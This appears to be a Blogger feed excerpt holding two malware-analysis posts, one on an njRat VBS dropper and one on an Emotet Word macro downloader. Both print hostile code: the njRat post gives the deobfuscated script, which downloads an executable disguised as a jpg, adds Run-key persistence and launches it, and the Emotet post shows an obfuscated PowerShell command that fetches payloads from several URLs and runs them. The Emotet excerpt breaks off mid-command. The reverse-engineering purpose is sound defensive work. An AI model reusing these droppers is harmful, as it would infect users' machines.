  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:&quot;Normaali taulukko&quot;;
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:&quot;&quot;;
 mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
 mso-para-margin-top:0cm;
 mso-para-margin-right:0cm;
 mso-para-margin-bottom:10.0pt;
 mso-para-margin-left:0cm;
 line-height:115%;
 mso-pagination:widow-orphan;
 font-size:11.0pt;
 font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
 mso-ascii-font-family:Calibri;
 mso-ascii-theme-font:minor-latin;
 mso-hansi-font-family:Calibri;
 mso-hansi-theme-font:minor-latin;
 mso-bidi-font-family:&quot;Times New Roman&quot;;
 mso-bidi-theme-font:minor-bidi;
 mso-fareast-language:EN-US;}
&lt;/style&gt;
&lt;![endif]--&gt;

&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Yesterday (21.11.2018) njRat a.k.a &lt;span class=&quot;individualdetection&quot;&gt;Worm.VBS.Dinihou.au dropper code was set to
pastebin.com. It was still available today in &lt;a href=&quot;https://pastebin.com/W1yyfPiy&quot;&gt;https://pastebin.com/W1yyfPiy&lt;/a&gt;. The
dropper downloads and persists excutable which is known as Generic.MSIL.Bladabindi.1E8DC4B3&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span class=&quot;individualdetection&quot;&gt;VBS code downloads an
executable with SHA256 hash c26f8c36052c150625a0e2e2676af5fa7e7d222bb2343720a66d48c7a9855256
and it can be found on VirusTotal &lt;a href=&quot;https://www.virustotal.com/#/file/c26f8c36052c150625a0e2e2676af5fa7e7d222bb2343720a66d48c7a9855256/detection&quot;&gt;https://www.virustotal.com/#/file/c26f8c36052c150625a0e2e2676af5fa7e7d222bb2343720a66d48c7a9855256/detection&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
VBS code itself can be found as &lt;a href=&quot;https://www.virustotal.com/#/file/6a4523e7eb200e1a3b22805d525b1eb0409388df118f524d7c4e64fc7a514274/detection&quot;&gt;https://www.virustotal.com/#/file/6a4523e7eb200e1a3b22805d525b1eb0409388df118f524d7c4e64fc7a514274/detection&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
Script code contains very long obfuscated lines. Firstly
I dissected long lines shorter and prefixed then. So I got the following code:&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;Dim str&lt;br /&gt;str = Chr(27 + 84) &amp;amp; Chr(16 + 94) &amp;amp; Chr(-12 + 44) &amp;amp; Chr(18 + 83) &amp;amp; Chr(60 + 54) &amp;amp; Chr(51 + 63) &amp;amp; Chr(205 - 94)&lt;br /&gt;str = str &amp;amp; Chr(43 + 71) &amp;amp; Chr(60 - 28) &amp;amp; Chr(41 + 73) &amp;amp; Chr(60 + 41) &amp;amp; Chr(7475 / 65) &amp;amp; Chr(135 - 18) &amp;amp; Chr(118 - 9)&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;str = str &amp;amp; Chr(64 + 18) &amp;amp; Chr(19 + 93) &amp;amp; Chr(147 - 33) &amp;amp; Chr(37 * 3) &amp;amp; Chr(140 - 41) &amp;amp; Chr(171 - 70) &amp;amp; Chr(62 + 53)&lt;br /&gt;str = str &amp;amp; Chr(80 + 35) &amp;amp; Chr(40 - 27) &amp;amp; Chr(780 / 78)&lt;br /&gt;? str&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
Deobfuscated code is a VB script code too:&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;on error resume next&lt;br /&gt;WScript.Sleep 60&lt;br /&gt;Dim ofso&lt;br /&gt;Set ofso = CreateObject(&quot;Scripting.FileSystemObject&quot;)&lt;br /&gt;CreerRep(&quot;C:\ProgramData\Adobe\system32\&quot;)&lt;br /&gt;Sub CreerRep(Chemin)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If Not ofso.FolderExists(chemin) Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CreerRep(ofso.GetParentFolderName(chemin))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ofso.CreateFolder(chemin)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;dim SSSSS&lt;br /&gt;dim process&lt;br /&gt;dim PPPPP&lt;br /&gt;set SSSSS = CreateObject(&quot;Microsoft.XMLHTTP&quot;)&lt;br /&gt;set process = CreateObject(&quot;WScript.shell&quot;)&lt;br /&gt;Set PPPPP = createobject(&quot;Adodb.Stream&quot;)&lt;br /&gt;URL = &quot;https://c.top4top.net/p_1055q1ssb1.jpg&quot;&lt;br /&gt;Rprocess = &quot;C:\ProgramData\Adobe\system32\process.exe&quot;&lt;br /&gt;SSSSS.open &quot;GET&quot;, URL, False&lt;br /&gt;SSSSS.send&lt;br /&gt;with PPPPP&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .type = 1 &#39;//binary&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .open&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .write SSSSS.responseBody&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .savetofile &quot;C:\ProgramData\Adobe\system32\process.exe&quot;, 2&lt;br /&gt;end with&lt;br /&gt;&lt;br /&gt;Set ObjetRegedit = CreateObject(&quot;WScript.Shell&quot;)&lt;br /&gt;CleRegistre = &quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\CPU64&quot;&lt;br /&gt;ObjetRegedit.RegWrite CleRegistre, &quot;C:\ProgramData\Adobe\system32\CPU64.exe&quot;, &quot;REG_SZ&quot;&lt;br /&gt;CleRegistre = &quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\process&quot;&lt;br /&gt;ObjetRegedit.RegWrite CleRegistre, &quot;C:\ProgramData\Adobe\system32\process.exe&quot;, &quot;REG_SZ&quot;&lt;br /&gt;CleRegistre = &quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\dekstop&quot;&lt;br /&gt;ObjetRegedit.RegWrite CleRegistre, &quot;C:\ProgramData\Adobe\system32\dekstop.ini.vbs&quot;, &quot;REG_SZ&quot;&lt;br /&gt;Set ObjetRegedit = Nothing&lt;br /&gt;&lt;br /&gt;WScript.Sleep 6000&lt;br /&gt;process.run Rprocess&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
First the code creates C:\ProgramData\Adobe\system32\
folder for the final executable. Next&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;an
XMLHTTP object is created. Object downloads a jpeg-image from &lt;a href=&quot;https://c.top4top.net/p_1055q1ssb1.jpg&quot;&gt;https://c.top4top.net/p_1055q1ssb1.jpg&lt;/a&gt;
which is at this moment still available. The file is of course not an image but
njRat executable. The file saved as C:\ProgramData\Adobe\system32\process.exe.&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
For persisting the executable, the script uses Windows
Registry. The script code creates three new keys under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,
namely: CPU64, process and dekstop (yes it has a typo). Registry key values
are: C:\ProgramData\Adobe\system32\CPU64.exe, C:\ProgramData\Adobe\system32\process.exe
and C:\ProgramData\Adobe\system32\dekstop.ini.vbs &lt;span class=&quot;gt-baf-word-clickable&quot;&gt;respectively. So it seems that the first and third
registry keys are redundant and only &lt;/span&gt;HKCU \Software\Microsoft\Windows\CurrentVersion\Run\process
key does persist this malware.&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
Finally script code uses WScript.shell object to launch
downloaded payload.&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/7779436135510904213/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/7779436135510904213' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7779436135510904213'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7779436135510904213'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/11/analysing-njrat-aka-genericmsilbladabin.html' title='Analysing njRat a.k.a Generic.MSIL.Bladabindi downloader'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-8417942107833100982</id><published>2018-05-06T10:17:00.000-07:00</published><updated>2018-05-06T10:19:39.956-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="deobfuscation"/><category scheme="http://www.blogger.com/atom/ns#" term="macro"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="reversing"/><category scheme="http://www.blogger.com/atom/ns#" term="VBA"/><category scheme="http://www.blogger.com/atom/ns#" term="Word"/><category scheme="http://www.blogger.com/atom/ns#" term="Word document"/><title type='text'>Analysing Word VBA Downloader for Emotet Malware</title><content type='html'>I found pretty fresh samples of Emotet downloader code from &lt;a href=&quot;https://www.malware-traffic-analysis.net/2018/05/04/index.html&quot;&gt;https://www.malware-traffic-analysis.net/2018/05/04/index.html&lt;/a&gt; and decided to do a quick deobfuscation of the code.
&lt;br /&gt;
&lt;br /&gt;
First phase is obfuscated VBA code in Word document. If you open the document you will see familiar Office 365 logo. You will see also suggestions to Enable Editing or Enable Content which would execute VBA code.
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWjuXaYlhttRXbfNPzp4uQJgj56wODJwkmB1yTIWoHieWkDMH2jmNwyuHoOEvo_afl49ocGW_OeqQRM-taz9c90YxlsW4kCcPx_4GPjI2_rn_RSgrh1fzAis22i2tikvcMPsvI2PVyvJo/s1600/emotet-01.jpg&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;555&quot; data-original-width=&quot;797&quot; height=&quot;446&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWjuXaYlhttRXbfNPzp4uQJgj56wODJwkmB1yTIWoHieWkDMH2jmNwyuHoOEvo_afl49ocGW_OeqQRM-taz9c90YxlsW4kCcPx_4GPjI2_rn_RSgrh1fzAis22i2tikvcMPsvI2PVyvJo/s640/emotet-01.jpg&quot; width=&quot;600&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Anyway the VBA code is pretty heavily obfuscated with lots of unnecessary code.
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFmeo8J-lxgZRFIhol8q_yHYiM8UzqpTS1aQO9azA9T_pAeGA8CTqpWdRc97WAc1isjB7Z1rSwn2sMxl44vje3M9xbIYIpW1q94ccjzrb1w2GH_G1iodlSAbUmPbLPhwFYgn65AaWNN-E/s1600/emotet-02.jpg&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;681&quot; data-original-width=&quot;994&quot; height=&quot;438&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFmeo8J-lxgZRFIhol8q_yHYiM8UzqpTS1aQO9azA9T_pAeGA8CTqpWdRc97WAc1isjB7Z1rSwn2sMxl44vje3M9xbIYIpW1q94ccjzrb1w2GH_G1iodlSAbUmPbLPhwFYgn65AaWNN-E/s640/emotet-02.jpg&quot; width=&quot;600&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Code execution starts from module ujDjvvQ which is renamed ThisDocument. Module contains Autoopen function which can be simplified:
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;Sub Autoopen()&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;On Error Resume Next&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;TiOoQjQV( nFODYizhYv )&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;End Sub&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
Function TiOoQjQV contains shell function and the argument is mostly deobfuscated code.
&lt;br /&gt;
&lt;br /&gt;
Deobfuscation function resides in module srYodFmNbnD, and it can be simplified to:
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;Function OUtvU(ByVal ciUzkrCSLkWBnW As String, TLAaHGLpbjzzY, oYFjLnWNLj)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;On Error Resume Next&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;SCXkhnfEKHM = Mid(StrReverse(ciUzkrCSLkWBnW), TLAaHGLpbjzzY, oYFjLnWNLj)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;OUtvU = SCXkhnfEKHM&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;End Function&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
In effect function OUtvU is a wrapper to mid function. A little twist is first reversing string with StrReverse.
&lt;br /&gt;
&lt;br /&gt;
Shell function resides in module DnaCdFskcp and it&#39;s simplified as:
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;Sub TiOoQjQV(qFkOSjfj As String)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;On Error Resume Next&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;[Shell] Chr(vbKeyC) + qFkOSjfj, 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;End Sub&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
The argument for shell function i.e. parameter&#39;s qFkOSjfj value is:
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;md jVpSwjvTz zCLlIDOdohUVOziMjRLUbTKVir okGWmYP &amp;amp;     %^c^o^m^S^p^E^c^%     %^c^o^m^S^p^E^c^%     /V         /c           set %kzwhjFmUVUOiJkk%=kcwKnsUZV&amp;amp;&amp;amp;set %atDQwjOtB%=p&amp;amp;&amp;amp;set %nFODYizhYv%=o^w&amp;amp;&amp;amp;set %lFhJFzoEwJVsjOS%=WdjEbhWvCv&amp;amp;&amp;amp;set %ciUzkrCSLkWBnW%=!%atDQwjOtB%!&amp;amp;&amp;amp;set %iriHrfYMvAFLQXZ%=NaOWDOflQPn&amp;amp;&amp;amp;set %TiOoQjQV%=e^r&amp;amp;&amp;amp;set %SCXkhnfEKHM%=!%nFODYizhYv%!&amp;amp;&amp;amp;set %qFkOSjfj%=s&amp;amp;&amp;amp;set %VtDjlGJSzZpSqTU%=SULNJfBUv&amp;amp;&amp;amp;set %oYFjLnWNLj%=he&amp;amp;&amp;amp;set %TLAaHGLpbjzzY%=ll&amp;amp;&amp;amp;!%ciUzkrCSLkWBnW%!!%SCXkhnfEKHM%!!%TiOoQjQV%!!%qFkOSjfj%!!%oYFjLnWNLj%!!%TLAaHGLpbjzzY%! &quot; . ( $env:comSpeC[4,26,25]-JoIn&#39;&#39;)( ((&#39;ZmInsa&#39;+&#39;dasd = &amp;amp;(&#39;+&#39;g&#39;+&#39;36n&#39;+&#39;g36+g36eg36+g&#39;+&#39;3&#39;+&#39;6&#39;+&#39;w&#39;+&#39;-obj&#39;+&#39;ecg36+g&#39;+&#39;36tg3&#39;+&#39;6&#39;+&#39;) random;Z&#39;+&#39;m&#39;+&#39;I&#39;+&#39;YYU = .(g36ne&#39;+&#39;g3&#39;+&#39;6&#39;+&#39;+g&#39;+&#39;36&#39;+&#39;wg36+g36-obj&#39;+&#39;ectg36) Sys&#39;+&#39;tem.Ne&#39;+&#39;t.We&#39;+&#39;bC&#39;+&#39;li&#39;+&#39;ent;&#39;+&#39;Zm&#39;+&#39;INSB =&#39;+&#39; ZmInsa&#39;+&#39;d&#39;+&#39;a&#39;+&#39;sd.nex&#39;+&#39;t(10&#39;+&#39;000, 282&#39;+&#39;1&#39;+&#39;3&#39;+&#39;3);Z&#39;+&#39;mIAD&#39;+&#39;CX&#39;+&#39; = g3&#39;+&#39;6 http&#39;+&#39;:&#39;+&#39;//&#39;+&#39;a&#39;+&#39;lian&#39;+&#39;.&#39;+&#39;d&#39;+&#39;e&#39;+&#39;/&#39;+&#39;4wBY&#39;+&#39;ki/@&#39;+&#39;http://agai&#39;+&#39;nstpe&#39;+&#39;rfect&#39;+&#39;ion.net/6&#39;+&#39;kWq0/@&#39;+&#39;ht&#39;+&#39;t&#39;+&#39;p&#39;+&#39;://globalreach&#39;+&#39;adv
&#39;+&#39;ertising.&#39;+&#39;com/zfFg&#39;+&#39;SQ/&#39;+&#39;@htt&#39;+&#39;p://www.&#39;+&#39;fanoff.com/Z&#39;+&#39;VljVr/&#39;+&#39;@&#39;+&#39;h&#39;+&#39;ttp&#39;+&#39;://thur&#39;+&#39;tell.co&#39;+&#39;m/TCyk/g&#39;+&#39;3&#39;+&#39;6&#39;+&#39;.S&#39;+&#39;plit(g3&#39;+&#39;6@&#39;+&#39;g&#39;+&#39;3&#39;+&#39;6);ZmI&#39;+&#39;S&#39;+&#39;DC &#39;+&#39;= ZmIe&#39;+&#39;nv:pu&#39;+&#39;bl&#39;+&#39;i&#39;+&#39;c + g3&#39;+&#39;6Dcfg36 +&#39;+&#39; Zm&#39;+&#39;INSB +&#39;+&#39; (g&#39;+&#39;3&#39;+&#39;6&#39;+&#39;.exg36&#39;+&#39;+g3&#39;+&#39;6eg36);fo&#39;+&#39;reach&#39;+&#39;(Z&#39;+&#39;mIasfc&#39;+&#39; &#39;+&#39;in ZmI&#39;+&#39;AD&#39;+&#39;CX){t&#39;+&#39;ry{ZmIYYU.sH6Do&#39;+&#39;0mIWn&#39;+&#39;l0mIOa&#39;+&#39;dFI&#39;+&#39;0mI&#39;+&#39;lesH6(&#39;+&#39;ZmI&#39;+&#39;asfc.sH6ToStr0mIi0&#39;+&#39;m&#39;+&#39;INgsH6(),&#39;+&#39; ZmI&#39;+&#39;SDC)&#39;+&#39;;&amp;amp;(g36Inv&#39;+&#39;og&#39;+&#39;3&#39;+&#39;6+&#39;+&#39;g36&#39;+&#39;k&#39;+&#39;g&#39;+&#39;36+g36e&#39;+&#39;-It&#39;+&#39;emg36&#39;+&#39;)(Z&#39;+&#39;m&#39;+&#39;I&#39;+&#39;SDC&#39;+&#39;);bre&#39;+&#39;ak;}catch&#39;+&#39;{}&#39;+&#39;}&#39;)  -repLACE &#39;0mI&#39;,[chaR]96  -repLACE([chaR]68+[chaR]99+[chaR]102),[chaR]92-cREPLACE  